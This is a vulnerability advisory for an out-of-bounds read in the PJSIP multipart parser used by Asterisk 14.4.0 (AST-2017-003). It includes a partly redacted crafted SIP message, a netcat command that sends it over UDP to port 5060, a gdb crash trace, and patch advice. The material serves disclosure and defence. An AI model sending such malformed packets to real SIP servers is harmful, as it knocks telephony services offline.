Asterisk 14.4.0 PJSIP 2.6 Denial Of Service

Asterisk version 14.4.0 running chan_pjsip with PJSIP version 2.6 suffers from a denial of service vulnerability.

MD5 | f49b5e4d52c26c6e0a76dcc3d9c9f48c

# Out of bound memory access in PJSIP multipart parser crashes Asterisk

- Authors:
- Alfred Farrugia <>
- Sandro Gauci <>
- Vulnerable version: Asterisk 14.4.0 running `chan_pjsip`, PJSIP 2.6
- References: AST-2017-003
- Enable Security Advisory:
- Vendor Advisory:
- Timeline:
- Report date: 2017-04-13
- Digium confirmed issue: 2017-04-13
- Digium patch and advisory: 2017-05-19
- PJSIP added patch by Digium: 2017-05-21
- Enable Security advisory: 2017-05-23

## Description

A specially crafted SIP message with a malformed multipart body was
found to cause a segmentation fault.

## Impact

Abuse of this vulnerability leads to denial of service in Asterisk when
`chan_pjsip` is in use. This vulnerability is likely to affect other
code that makes use of PJSIP.

## How to reproduce the issue

We started Asterisk by running `$PREFIX/asterisk/sbin/asterisk -fc`.
Then we made use of the following SIP message which was sent to Asterisk
over UDP to reproduce the issue:

Via: SIP/2.0/UDP;branch=7c337f30d7ce.1
From: "Alice, A," <>
To: Bob <>
Contact: Alice <>
content-type: multipart/mixed;`boundary=++


Note that the above SIP message only contains new lines (i.e. `\n`) and
no carriage returns (i.e. `\r`). We sent this message by making use of
netcat as follows:

| base64 -d - | nc -u localhost 5060

The following is a log from running Asterisk in gdb:

gdb --args asterisk -c


Asterisk Ready.
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7fffd6b85700 (LWP 2625)]
0x00007ffff783fd4c in parse_multipart_part (pool=0x1dff930,
start=0x7ffff0004359 "--++=Discussion of Mbone Engineering
Issues\\nc=IN IP4\nt=0
0\nm=audio 3456 RTP/AVP 0\na=rtpmapt...\n--+",
len=18446744073709551615, pct=0x1dffd60) at
435 while (p!=end && *p!='\n') ++p;

The issue appears to be due to a loop that keeps running until the wrong
memory location is read. This leads to a memory access violation. This
issue is to be found within `parse_multipart_part` at

This issue was found using [AFL](, while
fuzzing PJSIP.

## Solutions and recommendations

Apply fix issued by Asterisk, upgrade to Asterisk 13.15.1, 14.4.1 or

If making use of PJSIP, apply the patch in revision 5594. See

## About Enable Security

[Enable Security]( provides Information
Security services, including Penetration Testing, Research and
Development, to help protect client networks and applications against
online attackers.

## Disclaimer

The information in the advisory is believed to be accurate at the time
of publishing based on currently available information. Use of the
information constitutes acceptance for use in an AS IS condition. There
are no warranties with regard to this information. Neither the author
nor the publisher accepts any liability for any direct, indirect, or
consequential loss or damage arising from use of, or reliance on, this

Related Posts